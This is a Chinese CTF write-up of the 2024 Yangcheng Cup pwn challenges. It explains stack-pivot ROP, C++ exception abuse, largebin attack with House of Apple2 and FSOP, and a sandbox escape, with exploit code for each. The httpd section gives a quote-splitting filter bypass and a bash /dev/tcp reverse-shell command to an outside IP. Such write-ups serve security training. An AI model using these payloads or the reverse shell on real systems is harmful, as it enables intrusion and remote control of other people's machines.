2024羊城杯pwn方向详细wp
字数 1669 2025-08-24 07:48:23
羊城杯PWN方向题目分析与利用技术详解
1. pstack题目分析
1.1 题目概述
这是一个典型的栈迁移利用题目,属于签到级别难度。
1.2 漏洞分析
- 存在栈溢出漏洞,可以覆盖返回地址
- 程序开启了NX保护,需要ROP技术绕过
1.3 利用思路
-
第一次栈迁移:
- 通过溢出将栈迁移到bss段
- 调用read函数读取第二阶段payload
-
泄露libc地址:
- 在bss段构造ROP链调用puts泄露stdout地址
- 计算libc基址
-
获取shell:
- 再次栈迁移到bss段另一区域
- 构造system("/bin/sh")的ROP链
1.4 关键ROP链
# 第一次栈迁移
payload = b'a'*0x30 + p64(bss+0x30) + p64(my_read)
# 泄露libc的ROP链
payload = p64(pop_rdi) + p64(stdout) + p64(puts) + p64(main)
payload = payload.ljust(0x30, b'\x00')
payload += p64(bss-8) + p64(leave_ret)
# 获取shell的ROP链
payload = p64(pop_rdi) + p64(bin_addr) + p64(system_addr)
2. logger题目分析
2.1 题目概述
利用C++异常处理机制进行漏洞利用的题目。
2.2 漏洞分析
- 可以覆盖src中的内容
- 异常处理中将exception指向了src
- backdoor函数中rax正好是存exception指针的寄存器
2.3 利用思路
- 填充堆空间为后续利用做准备
- 写入"/bin/sh"字符串
- 触发异常处理机制跳转到backdoor函数
2.4 关键exp代码
# 填充堆空间
for i in range(8):
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here:", b'a'*0x10)
p.sendlineafter("Do you need to check the records?", 'n')
# 写入/bin/sh
p.sendlineafter(menu, str(1))
p.sendafter("You can record log details here:", '/bin/sh\x00')
p.sendlineafter("Do you need to check the records?", 'n')
# 触发漏洞
p.sendlineafter("Your chocie:", "2")
bss = 0x4040E0
p.sendlineafter("message", b"A"*0x70 + p64(bss+0x800) + p64(0x401BC7) + cyclic(0x20))
3. TravelGraph题目分析
3.1 题目概述
libc2.35环境下的堆溢出利用题目,涉及多种高级堆利用技术。
3.2 漏洞分析
- UAF漏洞:delete后未清除list中的指针
- 堆溢出:edit函数中存在堆溢出可能
- 算法绕过:Dijkstra函数中特定条件可触发edit_flag2
3.3 利用思路
-
泄露heap基址:
- 通过largebin chunk的fd/bk指针泄露
-
泄露libc基址:
- 通过unsorted bin残留指针泄露
-
largebin attack:
- 利用edit函数中的索引漏洞修改largebin chunk的bk_nextsize
- 攻击_IO_list_all指针
-
House of Apple2:
- 构造伪造的IO_FILE结构
- 通过FSOP触发ROP链执行
3.4 关键利用步骤
# 泄露heap基址
add('car', 'nanning', 'changsha', 999, b'a'*8)
show('nanning', 'changsha')
heapbase = u64(p.recv(6).ljust(8, b'\x00')) - 0x1470 - 0x530
# 泄露libc基址
delete('changsha', 'nanchang')
delete('fuzhou', 'changsha')
add('car', 'changsha', 'nanchang', 999, b'a')
delete('changsha', 'nanchang')
payload = b'a'*0x510
add('plane', 'fuzhou', 'changsha', 999, payload)
show('fuzhou', 'changsha')
libcbase = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x21ace0
# House of Apple2构造
fake_IO_addr = heapbase + 0x2e60
magic_gadget = libcbase + 0x16A06A
leave_ret = libcbase + 0x4da83
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
# 构造ORW ROP链
orw_rop = b'./flag\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr+0x8)
orw_rop += p64(pop_rdi_ret) + p64(rop_address)
orw_rop += p64(pop_rsi_ret) + p64(0)
orw_rop += p64(libcbase + libc.sym['open'])
[...省略部分ROP链...]
# largebin attack
target = libcbase + libc.sym['_IO_list_all']
payload = p64(heapbase + 0xa000) + p64(target - 0x20)
edit('guangzhou', 'changsha', 1, 0xfff7f7b110, payload)
4. httpd题目分析
4.1 题目概述
一个32位HTTP服务程序,存在命令注入漏洞。
4.2 漏洞分析
- 白名单过滤不严格,可绕过
- 使用popen函数执行命令
- 存在重定向操作,但可通过特殊方式绕过
4.3 利用思路
-
构造特殊HTTP请求绕过过滤:
- 使用分片字符串绕过"sh"检测(如"s"h)
-
反弹shell:
- 通过popen执行反弹shell命令
4.4 关键exp代码
host = '0.0.0.10'
request = 'GET /"s"h HTTP/1.0\r\n'
request += 'Host: ' + host + '\r\n'
request += 'Content-Length: 0\r\n'
p.sendline(request)
p.sendline('bash -c "bash -i >& /dev/tcp/172.18.211.41/7777 0>&1"')
5. hard sandbox题目分析
5.1 题目概述
高难度沙箱逃逸题目,限制较多。
5.2 保护限制
- open/openat/execve/execveat系统调用被禁止
- 只允许x86_64架构的系统调用
- retfq等技巧无法使用
5.3 可能的突破方向
-
使用未被禁止的系统调用:
- 如fopen/fread等libc函数
-
侧信道攻击:
- 通过可用系统调用泄露信息
-
特殊文件描述符操作:
- 利用已有的文件描述符
6. 通用技术总结
6.1 栈迁移技术
- 使用leave;ret指令控制栈指针
- 分阶段迁移:
- 第一次迁移到可写区域
- 第二次构造完整ROP链
6.2 堆利用技术
-
largebin attack:
- 修改bk_nextsize实现任意地址写
-
House of Apple2:
- 伪造IO_FILE结构
- 利用_IO_wfile_jumps触发
-
堆风水:
- 控制unsorted bin残留指针
- 精确计算偏移
6.3 绕过过滤技巧
-
字符串分片:
- 如"s"h绕过"sh"检测
-
编码绕过:
- 使用八进制/十六进制表示
-
替代函数:
- 使用未被过滤的类似功能函数
6.4 ROP链构造
-
通用gadget:
- pop rdi; ret
- pop rsi; ret
- pop rdx; ret
-
函数调用顺序:
- 先泄露地址,再获取shell
-
栈平衡:
- 注意每个gadget的栈影响
以上是对羊城杯PWN方向题目的全面技术分析,涵盖了栈溢出、堆利用、沙箱逃逸等多种漏洞利用技术,可作为类似题目的参考解决方案。